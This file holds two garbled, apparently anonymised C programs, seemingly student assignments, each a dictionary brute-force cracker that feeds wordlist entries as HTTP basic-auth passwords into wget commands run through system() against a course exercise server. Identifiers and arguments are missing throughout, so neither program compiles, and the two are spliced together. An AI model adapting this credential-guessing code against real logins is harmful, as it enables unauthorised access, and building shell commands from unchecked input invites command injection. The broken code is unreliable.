#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int        , end;
	FILE           *fp;
	int             i, j;
	char            input;
	char            password[30];
	int             check;

	float           total_time;
	int             number;
	 = time();


	if ((fp = fopen("words", "r")) == NULL) {
		fprintf(stderr, "Error : Failed  open words for .\n");
		return (EXIT_FAILURE);
	}
	while ((input = fgetc(fp)) != EOF) {
		j = 0;
		for (i = 0; i < 30; i++)
			password[i] = '\0';

		while(input != '\n' ) {

			password[j] = input;
			j++;
			input = fgetc(fp);
			
		
		}


		if (strlen(password) <= 3) {
			printf("%s\t",password);
			fflush(stdout);
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time();
				total_time = (end - ) / 1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number, total_time / number);
				exit(0);
			}
		}

	}

	return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);

	rettype = system();
	
	if (rettype == 0) {
		printf("Successfully retrieved password: %s\n", password);
		return 0;
	}
	strcpy(, "");
}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 time_t u1,u2;
 char v[3];
 char temp1[100];
 char temp2[100];
 char temp3[250];
 FILE *fin1;
 
 char point[25];
  fin1=fopen("./words.txt","r");
  
  if(fin1==NULL)
  {
   printf(" open the file ");
   exit(0);
  } 
  

 strcpy(temp2," --http-user= --http-passwd=");
 strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
   strcpy(temp3,"");
   
   (void) time(&u1); 
   
   while(!feof(fin1))  
   {
    
    fgets(point,25,fin1);
    if(strlen(point)<=4)
    {
   
    
    strcpy(temp3,temp1);
    strcat(temp3,temp2);
     strcat(temp3,point);
    printf("\nSending the  %s\n",temp3);
    i=system(temp3);  
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",point);
	 printf("\n\nThe time_var taken  crack the passwork is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
    }
  }
   
  
}  
